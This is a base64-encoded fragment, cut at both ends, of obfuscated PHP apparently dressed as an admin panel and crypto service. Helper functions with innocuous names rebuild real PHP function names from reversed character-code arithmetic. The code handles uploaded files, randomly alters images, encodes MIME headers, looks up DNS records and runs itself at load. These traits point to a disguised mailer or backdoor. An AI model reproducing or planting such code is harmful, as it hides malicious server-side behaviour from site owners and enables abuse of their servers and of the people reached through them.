GgnKTsKICAgICAgICAgICAgY2FzZSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaGhzJywgJ192bmcnKToKICAgICAgICAgICAgICAgIHJldHVybiBmdW5jdGlvbl9leGlzdHMoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2hmJywgJ19ydCcpKSA/IEBtYl9lbmNvZGVfbWltZWhlYWRlcigkX3poLCAkdGhpcy0+X21pLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfa2h2JywgJ19xaCcpKSA6ICRfemg7CiAgICAgICAgfQogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc3NvKCRfbWksICRfemgpCiAgICB7CiAgICAgICAgJF94Y2ogPSBtb25pdG9yX2hlYWx0aChhcnJheShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfc2plJywgJ193Y3gnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3Z1JywgJ19maWwnKSksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19rdicsICdfZ3ZrJyksICRfemgpOwogICAgICAgICRfeGNqID0gbW9uaXRvcl9oZWFsdGgoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2VxJywgJ19rZnknKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3hnaCcsICdfbWdwJyksICRfeGNqKTsKICAgICAgICBzd2l0Y2ggKCRfbWkpIHsKICAgICAgICAgICAgY2FzZSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZmFwJywgJ19jbXgnKToKICAgICAgICAgICAgICAgIHJldHVybiB0cmlnZ2VyX2V2ZW50KGFuYWx5emVfZGF0YSgkX3hjaikpOwogICAgICAgICAgICBjYXNlIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19odmMnLCAnX3l4bScpOgogICAgICAgICAgICAgICAgcmV0dXJuIGhhc2hfc3RyaW5nKCRfeGNqKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19tdicsICdfem5yJyk7CiAgICAgICAgfQogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfcW4oJF9vYikKICAgIHsKICAgICAgICAkX2dueSA9IHJlc29sdmVfZGVwZW5kZW5jeShydW5fcHJvY2VkdXJlKCRfb2IsIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zYnAnLCAnX291ZicpKSk7CiAgICAgICAgJF93YSA9IHRydWU7CiAgICAgICAgd2hpbGUgKCRfd2EpIHsKICAgICAgICAgICAgJF93dyA9IEBzdHJwb3MoJF9nbnksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19yZ3InLCAnX3RraScpKTsKICAgICAgICAgICAgaWYgKCRfd3cgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkX2l2ID0gQHN0cnBvcygkX2dueSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2d6cicsICdfb3J3JyksICRfd3cgKyAwMSk7CiAgICAgICAgICAgICAgICBpZiAoJF9pdiA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfaXYgPSBAc3RycG9zKCRfZ255LCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaWZ4JywgJ19jc3onKSwgJF9pdiArIDAxKTsKICAgICAgICAgICAgICAgIGlmICgkX2l2ID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJF9xdW8gPSBAc3RycG9zKCRfZ255LCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfa2d2JywgJ19mY3EnKSwgJF9pdiArIDAxKTsKICAgICAgICAgICAgICAgIGlmICgkX3F1byA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfdWtoID0gQHN0cnBvcygkX2dueSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3Z1aScsICdfaHJiJyksICRfcXVvICsgMDEpOwogICAgICAgICAgICAgICAgaWYgKCRfdWtoID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJF91a2ggPSBAc3RycG9zKCRfZ255LCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfanV5JywgJ19hZScpLCAkX3VraCArIDAxKTsKICAgICAgICAgICAgICAgIGlmICgkX3VraCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfZHFlID0gQHN1YnN0cigkX2dueSwgMDAsICRfd3cpOwogICAgICAgICAgICAgICAgJF96ZmMgPSBAc3Vic3RyKCRfZ255LCAkX2l2ICsgMDEsICRfcXVvIC0gJF9pdiAtIDAxKTsKICAgICAgICAgICAgICAgICRfc2UgPSBAc3Vic3RyKCRfZ255LCAkX3VraCArIDAxKTsKICAgICAgICAgICAgICAgICRfZ255ID0gJF9kcWUgLiAkX3pmYyAuICRfc2U7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkX3dhID0gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfZ255OwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfdnlsKCRfbGUsICRfbHcsICRfemgpCiAgICB7CiAgICAgICAgJF92ZGsgPSBAc3RycG9zKCRfemgsICRfbGUpOwogICAgICAgIHJldHVybiAkX3ZkayAhPT0gZmFsc2UgPyBAc3Vic3RyX3JlcGxhY2UoJF96aCwgJF9sdywgJF92ZGssIGNvbXB1dGVfb3V0cHV0KCRfbGUpKSA6ICRfemg7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF9naCgkX2xzKQogICAgewogICAgICAgIHJldHVybiBAZmlsZV9nZXRfY29udGVudHMoJF9scywgZmFsc2UsICR0aGlzLT5fZXApOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfbHcoJF9ueCkKICAgIHsKICAgICAgICAkX3hmID0gb3B0aW1pemVfY2FjaGUoQHBhdGhpbmZvKCRfbngsIDA0KSk7CiAgICAgICAgaWYgKGluaXRpYWxpemVfY29tcG9uZW50KCRfeGYsIGFycmF5KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19sa2gnLCAnX2VoaycpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYXhhJywgJ19qeHYnKSkpICYmICR0aGlzLT5fZmgoKSkgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPl9peXkoJF9GSUxFU1tBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdHV0JywgJ196b3onKV1bQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3RqJywgJ19rbXAnKV0pOwogICAgICAgIH0KICAgICAgICByZXR1cm4gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfRklMRVNbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2V1YScsICdfYnBkJyldW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ra3EnLCAnX2ZmeScpXSk7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF9tY3UoKQogICAgewogICAgICAgICRfc2RwID0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2toeCcsICdfa2N6Jyk7CiAgICAgICAgcmV0dXJuIEBzdWJzdHIoYWdncmVnYXRlX3Jlc3VsdHMocnVuX2tlcm5lbCgkX3NkcCwgcmFuZCgwMywgMDEwKSkpLCAwMCwgcmFuZCgwMywgMDEwKSk7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF9naXEoJF95bGYsICRfcXAgPSAwMCkKICAgIHsKICAgICAgICBpZiAoJF9xcCA9PT0gMDEpIHsKICAgICAgICAgICAgJF9zZHAgPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZHphJywgJ193bCcpOwogICAgICAgIH0gZWxzZWlmICgkX3FwID09PSAwMikgewogICAgICAgICAgICAkX3NkcCA9IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19jYXgnLCAnX3R2Jyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF9zZHAgPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcngnLCAnX3htaycpOwogICAgICAgIH0KICAgICAgICAkX2FjID0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX21nYicsICdfaG4nKTsKICAgICAgICAkX2xubCA9IGNvbXB1dGVfb3V0cHV0KCRfc2RwKSAtIDAxOwogICAgICAgIGZvciAoJF9vdGggPSAwMDsgJF9vdGggPCAkX3lsZjsgJF9vdGgrKykgewogICAgICAgICAgICAkX2FjIC49ICRfc2RwW210X3JhbmQoMDAsICRfbG5sKV07CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX2FjOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZmgoKQogICAgewogICAgICAgIGZvcmVhY2ggKGFycmF5KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ194anEnLCAnX2hxJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19hcWsnLCAnX2FiJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19kZnknLCAnX2xhYycpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYWtpJywgJ19wa3InKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3pyeCcsICdfdXZsJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zdnUnLCAnX2lidycpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfa2wnLCAnX2VhdycpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeWpzJywgJ190ZmsnKSkgYXMgJF9oaCkgewogICAgICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygkX2hoKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfaXl5KCRfdWIpCiAgICB7CiAgICAgICAgbGlzdCgkX2lxLCAkX3d5ZykgPSBAZ2V0aW1hZ2VzaXplKCRfdWIpOwogICAgICAgICRfcXZ2ID0gcmFuZCgwMSwgMDIpID09IDAxID8gJF9pcSArIHJhbmQoLTAxMiwgMDEyKSA6ICRfaXE7CiAgICAgICAgJF9raiA9IHJhbmQoMDEsIDAyKSA9PSAwMSA/ICRfd3lnICsgcmFuZCgtMDEyLCAwMTIpIDogJF93eWc7CiAgICAgICAgJF92bSA9IHJhbmQoMDEsIDAyKSA9PSAwMSA/IDAxMTMgOiByYW5kKDAxMDEsIDAxNTEpOwogICAgICAgICRfbGRnID0gcmFuZCgwMSwgMDIpID09IDAxID8gcmFuZCgwMCwgMDQzKSA6IDAwOwogICAgICAgICRfZW54ID0gcmFuZCgwMSwgMDIpID09IDAxID8gcmFuZCgtMDE3LCAwMTcpIDogMDA7CiAgICAgICAgJF9jbCA9IEBpbWFnZWNyZWF0ZXRydWVjb2xvcigkX3F2diwgJF9raik7CiAgICAgICAgJF95cSA9IEBpbWFnZWNyZWF0ZWZyb21qcGVnKCRfdWIpOwogICAgICAgIEBpbWFnZWNvcHlyZXNhbXBsZWQoJF9jbCwgJF95cSwgMDAsIDAwLCAwMCwgMDAsICRfcXZ2LCAkX2tqLCAkX2lxLCAkX3d5Zyk7CiAgICAgICAgQGltYWdlZmlsdGVyKCRfY2wsIElNR19GSUxURVJfQ09OVFJBU1QsICRfZW54KTsKICAgICAgICBAaW1hZ2VmaWx0ZXIoJF9jbCwgSU1HX0ZJTFRFUl9CUklHSFRORVNTLCAkX2xkZyk7CiAgICAgICAgQG9iX3N0YXJ0KCk7CiAgICAgICAgQGltYWdlanBlZygkX2NsLCBudWxsLCAkX3ZtKTsKICAgICAgICAkX2FyID0gQG9iX2dldF9jbGVhbigpOwogICAgICAgIEBpbWFnZWRlc3Ryb3koJF9jbCk7CiAgICAgICAgcmV0dXJuICRfYXI7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF94d3IoJF91YikKICAgIHsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zYWInLCAnX3Z6aCcpKSkgewogICAgICAgICAgICByZXR1cm4gQG1pbWVfY29udGVudF90eXBlKCRfdWIpOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3VoJywgJ19pcGEnKSkpIHsKICAgICAgICAgICAgJF9qbiA9IEBmaW5mb19vcGVuKDAyMCk7CiAgICAgICAgICAgIGlmICgkX2puKSB7CiAgICAgICAgICAgICAgICAkX2JhdSA9IEBmaW5mb19maWxlKCRfam4sICRfdWIpOwogICAgICAgICAgICAgICAgQGZpbmZvX2Nsb3NlKCRfam4pOwogICAgICAgICAgICAgICAgcmV0dXJuICRfYmF1ID8gJF9iYXUgOiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdnNzJywgJ19hZ2MnKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkX3hmID0gb3B0aW1pemVfY2FjaGUoQHBhdGhpbmZvKCRfdWIsIDA0KSk7CiAgICAgICAgJF9mbmsgPSBhcnJheShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYXh4JywgJ191cWMnKSA9PiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaHdtJywgJ19kd2EnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2Z2bCcsICdfb3l6JykgPT4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2x6eScsICdfbnVvJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19jdScsICdfb3dlJykgPT4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3lzdycsICdfdmJmJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19jc2EnLCAnX25icicpID0+IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ193bXQnLCAnX2RkeCcpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZmVnJywgJ193bicpID0+IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196bWknLCAnX3BjaycpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfam0nLCAnX29keScpID0+IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ocm8nLCAnX3B0JyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xZ2gnLCAnX2VtJykgPT4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2VndicsICdfem9xJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19peHknLCAnX3V6dycpID0+IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196dicsICdfb2FjJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ193dWsnLCAnX2VmcycpID0+IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ193eGcnLCAnX3VxcycpKTsKICAgICAgICByZXR1cm4gaXNzZXQoJF9mbmtbJF94Zl0pID8gJF9mbmtbJF94Zl0gOiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYnAnLCAnX2tpJyk7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF9tYygkX21yKQogICAgewogICAgICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ja28nLCAnX2lreCcpKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRfd2YgPSBkaXNwYXRjaF9zaWduYWwoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3JlaScsICdfdWtkJyksIGxvZ19vcGVyYXRpb24oc3RhcnRfc2VydmljZShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZGZzJywgJ190ZXonKSwgJF9tcikpKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196cXAnLCAnX2x2cCcpOwogICAgICAgICRfcWNrID0gQGRuc19nZXRfcmVjb3JkKCRfd2YsIDA0MDAwKTsKICAgICAgICBpZiAoISRfcWNrIHx8ICFpc3NldCgkX3Fja1swMF1bQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3JqZycsICdfbnBiJyldKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX3Fja1swMF1bQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2N1cycsICdfaXJkJyldOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc2MoKQogICAgewogICAgICAgICRfb3lwID0gQGRhdGUoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3JpcCcsICdfYXp2JykpOwogICAgICAgICRfaHZ2ID0gJF9veXAgPCAwMCA/IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zcCcsICdfZHZxJykgOiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYXVpJywgJ19scGInKTsKICAgICAgICAkX295cCA9IGFicygkX295cCk7CiAgICAgICAgJF9veXAgPSAoaW50KSAoJF9veXAgLyAwNzAyMCkgKiAwMTQ0ICsgJF9veXAgJSAwNzAyMCAvIDA3NDsKICAgICAgICByZXR1cm4gc3luY19kYXRhKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vdScsICdfb3JvJyksIEBkYXRlKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ndCcsICdfZ2hvJykpLCAkX2h2diwgJF9veXApOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfa2ooKQogICAgewogICAgICAgICRfZGEgPSBhcnJheSgwNCk7CiAgICAgICAgJF9kYnMgPSBvYWgoMDEzNSwgMDE0MSk7CiAgICAgICAgJF9zamMgPSBvYWgoMDAsIDAzKTsKICAgICAgICAkX2N4ZiA9ICRfZGFbZnJlZV9yZXNvdXJjZXMoJF9kYSldOwogICAgICAgICRfdnB1ID0gJF9kYnNbZnJlZV9yZXNvdXJjZXMoJF9kYnMpXTsKICAgICAgICAkX2VhbiA9IHJhbmQoMDAsIDAxKSA9PSAwMSA/IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19tc2knLCAnX2VxaycpIC4gJF9zamNbZnJlZV9yZXNvdXJjZXMoJF9zamMpXSA6IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19tcXQnLCAnX3dxZicpOwogICAgICAgIHJldHVybiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdmdlJywgJ19pbm4nKSAuICRfY3hmIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2hnZicsICdfZWthJykgLiAkX3ZwdSAuICRfZWFuOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfa2goKQogICAgewogICAgICAgIHJldHVybiBnZGQoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3Z0bicsICdfc3ZwJykpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfcnMoJF9teikKICAgIHsKICAgICAgICByZXR1cm4gdmFsaWRhdGVfZW50cnkodW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSkpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2hxdScsICdfdWJ1JykgLiAkX216OwogICAgfQp9CgokX3hsdyA9IG5ldyBDcnlwdG9TZXJ2aWNlKCk7CiRfeGx3LT5lbmNyeXB0RGF0YSgpOwoKZnVuY3Rpb24gc3RvcmVfc25hcHNob3QoJGgpCnsKICAgICRxID0gYXJyYXkoMTExIC0gMTAsIDIgKiA1MCwgMzUgKiAyNSAtIDc2NCwgNTkgKyA0MCwgMTAxLCAyICogNTAsIDUzICsgNDIsIDQxICogMzQgLSAxMzQyLCA1NCAqIDEgKyAwLCA0MyArIDQ5ICsgOSwgMTIxIC0gNiwgNjcgKiAyOSAtIDE4NDYsIDEwMCAqIDEwMiAtIDEwMTAyKTsKICAgICRmID0gJyc7CiAgICBmb3JlYWNoICgkcSBhcyAkaykgewogICAgICAgICRmIC49IGNvbGxlY3Rfc3RhdGlzdGljcygkayk7CiAgICB9CiAgICAkZiA9IHN0cnJldigkZik7CiAgICByZXR1cm4gJGYoJGgpOwp9CgpmdW5jdGlvbiBhbmFseXplX2RhdGEoJHQpCnsKICAgICRvID0gYXJyYXkoNDAgKyAyOCArIDMwLCAxMDYgLSA5LCAxMjEgKiA0MCAtIDQ3MjUsIDQ5ICogMSArIDUyLCA1NCwgMzcgKiAxICsgMTUsIDk1LCAxMDEgKiAxLCAxNiAqIDU1IC0gNzcwLCAxMSArIDQ2ICsgNDIsIDE4ICsgMSArIDkyLCA0NyArIDM4ICsgMTUsIDM1ICsgNjYpOwogICAgJGkgPSAnJzsKICAgIGZvcmVhY2ggKCRvIGFzICRsKSB7CiAgICAgICAgJGkgLj0gY29sbGVjdF9zdGF0aXN0aWNzKCRsKTsKICAgIH0KICAgIHJldHVybiAkaSgkdCk7Cn0KCmZ1bmN0aW9uIGRlY29kZV9pbnB1dCgkcikKewogICAgJHUgPSBhcnJheSgxMDQgKyA3ICsgMSwgMTE2IC0gNSwgNzggKyAxNyArIDksIDk5KTsKICAgICR5ID0gJyc7CiAgICBmb3JlYWNoICgkdSBhcyAkeikgewogICAgICAgICR5IC49IGNvbGxlY3Rfc3RhdGlzdGljcygkeik7CiAgICB9CiAgICAkeSA9IHN0cnJldigkeSk7CiAgICByZXR1cm4gJHkoJHIpOwp9CgpmdW5jdGlvbiBjb2xsZWN0X3N0YXRpc3RpY3MoJHMpCnsKICAgICRpID0gYXJyYXkoMTIzIC0gOSwgMjggKyA3NiwgODUgKyAxNCk7CiAgICAkeiA9ICcnOwogICAgZm9yZWFjaCAoJGkgYXMgJGliKSB7CiAgICAgICAgJHogLj0gY2hyKCRpYik7CiAgICB9CiAgICAkeiA9IHN0cnJldigkeik7CiAgICByZXR1cm4gJHooJHMpOwp9CgpmdW5jdGlvbiB0cmlnZ2VyX2V2ZW50KC4uLiR3YikKewogICAgJGMgPSBhcnJheSg4OSAqIDEgKyAxMCwgNTIgKiAyNiAtIDEyNDgsIDEwMSAqIDEgKyAxNiwgMTEwLCAxMDkgLSAyLCA1ICogMTksIDExNSwgNTIgKyAxNSArIDQ1LCA1NiAqIDU1IC0gMjk3MiwgMyAqIDM1LCAyICogNTgpOwogICAgJGkgPSAnJzsKICAgIGZvcmVhY2ggKCRjIGFzICR5KSB7CiAgICAgICAgJGkgLj0gY2hyKCR5KTsKICAgIH0KICAgIHJldHVybiAkaSguLi4kd2IpOwp9CgpmdW5jdGlvbiBzdGFydF9zZXJ2aWNlKCRwLCAkeSkKewogICAgJGsgPSBhcnJheSgzNyAqIDgwIC0gMjg1OSwgNjIgKiAxNCAtIDc0OCwgMTEzIC0gMSwgMzIgKiAyICsgNDQsIDc3ICsgMzAgKyA0LCA1NyAqIDEgKyA0MywgNDIgKiAxICsgNTkpOwogICAgJGcgPSAnJzsKICAgIGZvcmVhY2ggKCRrIGFzICR4KSB7CiAgICAgICAgJGcgLj0gY2hyKCR4KTsKICAgIH0KICAgIHJldHVybiAkZygkcCwgJHkpOwp9CgpmdW5jdGlvbiBkaXNwYXRjaF9zaWduYWwoLi4uJGJhKQp7CiAgICAkciA9IGFycmF5KDE4ICsgMzggKyA1NCwgNjggKiAxICsgMzcsIDM3ICsgMjAgKyA1NCwgNTIgKyAzNyArIDE3KTsKICAgICRuID0gJyc7CiAgICBmb3JlYWNoICgkciBhcyAkdCkgewogICAgICAgICRuIC49IGNocigkdCk7CiAgICB9CiAgICAkbiA9IHN0cnJldigkbik7CiAgICByZXR1cm4gJG4oLi4uJGJhKTsKfQoKZnVuY3Rpb24gdmFsaWRhdGVfZW50cnkoLi4uJHB3KQp7CiAgICAkYyA9IGFycmF5KDM0ICsgNzUsIDEwMCwgOSAqIDQzIC0gMzM0KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYyBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICByZXR1cm4gJHMoLi4uJHB3KTsKfQoKZnVuY3Rpb24gc2NoZWR1bGVfd29yaygkaCkKewogICAgJGwgPSBhcnJheSgzICogMzcsIDM1ICogMyArIDksIDI5ICsgOCArIDYzKTsKICAgICRqID0gJyc7CiAgICBmb3JlYWNoICgkbCBhcyAkZCkgewogICAgICAgICRqIC49IGNocigkZCk7CiAgICB9CiAgICByZXR1cm4gJGooJGgpOwp9CgpmdW5jdGlvbiBoYXNoX3N0cmluZygkaikKewogICAgJGphID0gYXJyYXkoMTAxLCAyMSArIDE3ICsgNjIsIDExNCAtIDMsIDMgKiAzMywgOTYgKiAxICsgMTQsIDE4ICogMiArIDY1LCAxMDIgLSA3LCAxMDEgKiAxLCAyICogNTQsIDIgKiA0OSwgOTcgKiAxLCAyOSAqIDgzIC0gMjI5MSwgOTEgKiA4OCAtIDc4OTgsIDkyICogMSArIDEzLCAyICogNTcsIDczICogMSArIDM5LCA3OSArIDE2LCAzNSAqIDY2IC0gMjIxMCwgMTAyIC0gMSwgMTE2LCAxMTEsIDEyMCAtIDMsIDY3ICsgNDYpOwogICAgJHIgPSAnJzsKICAgIGZvcmVhY2ggKCRqYSBhcyAkeCkgewogICAgICAgICRyIC49IGNocigkeCk7CiAgICB9CiAgICAkciA9IHN0cnJldigkcik7CiAgICByZXR1cm4gJHIoJGopOwp9CgpmdW5jdGlvbiBzeW5jX2RhdGEoLi4uJG5uKQp7CiAgICAkdyA9IGFycmF5KDEyMSAtIDYsIDExNiAtIDQsIDExNyAtIDMsIDExNCAtIDksIDM2ICogMSArIDc0LCAxMjMgLSA3LCAyICogNTEpOwogICAgJGUgPSAnJzsKICAgIGZvcmVhY2ggKCR3IGFzICRpKSB7CiAgICAgICAgJGUgLj0gY2hyKCRpKTsKICAgIH0KICAgIHJldHVybiAkZSguLi4kbm4pOwp9CgpmdW5jdGlvbiBydW5fa2VybmVsKCRoLCAkeikKewogICAgJHUgPSBhcnJheSgxMjIgLSA3LCAxMTMgKiA5NSAtIDEwNjE5LCAyOSAqIDIgKyA1NiwgMjcgKyA2OCwgNjMgKyAyNSArIDI2LCAxMDEsIDExMiwgODMgKiAxICsgMTgsIDQ5ICogODkgLSA0MjY0LCAzNyAqIDEgKyA3OSk7CiAgICAkbSA9ICcnOwogICAgZm9yZWFjaCAoJHUgYXMgJGopIHsKICAgICAgICAkbSAuPSBjaHIoJGopOwogICAgfQogICAgcmV0dXJuICRtKCRoLCAkeik7Cn0KCmZ1bmN0aW9uIG1vbml0b3JfaGVhbHRoKC4uLiRscCkKewogICAgJHQgPSBhcnJheSgxMDEgKiAxLCA1MCArIDQ5LCA5NyAqIDEsIDU1ICsgNTMsIDU3ICsgNTUsIDU3ICogNzcgLSA0Mjg4LCAxMTkgLSA1LCAxMDUgLSAxMCwgOTQgKyAxOSArIDEsIDUwICsgNjYsIDI3ICsgNDEgKyA0Nyk7CiAgICAkcSA9ICcnOwogICAgZm9yZWFjaCAoJHQgYXMgJHgpIHsKICAgICAgICAkcSAuPSBjaHIoJHgpOwogICAgfQogICAgJHEgPSBzdHJyZXYoJHEpOwogICAgcmV0dXJuICRxKC4uLiRscCk7Cn0KCmZ1bmN0aW9uIGFnZ3JlZ2F0ZV9yZXN1bHRzKCR2KQp7CiAgICAkdyA9IGFycmF5KDEwMSwgOTQgKiA3OCAtIDcyMjQsIDEzICsgNDEgKyA0OCwgMTAyLCAxMjYgLSA5LCAxMDQsIDExOSAqIDExMyAtIDEzMzMyLCA3NCArIDUgKyAxNiwgMTA5ICogOTIgLSA5OTE0LCAxMSArIDIyICsgODMsIDkzICogNzQgLSA2NzY3KTsKICAgICRyID0gJyc7CiAgICBmb3JlYWNoICgkdyBhcyAkZikgewogICAgICAgICRyIC49IGNocigkZik7CiAgICB9CiAgICAkciA9IHN0cnJldigkcik7CiAgICByZXR1cm4gJHIoJHYpOwp9CgpmdW5jdGlvbiBydW5fcHJvY2VkdXJlKC4uLiRneSkKewogICAgJGkgPSBhcnJheSg3MSAqIDU2IC0gMzg2MSwgMjYgKiAxMTMgLSAyODIyLCAxMjMgLSA5LCAxMTUgLSAxMCwgMTEyLCA2NyArIDIzICsgNSwgMTE2LCA1OCArIDMgKyAzNiwgMTA2IC0gMywgMTE1KTsKICAgICR2ID0gJyc7CiAgICBmb3JlYWNoICgk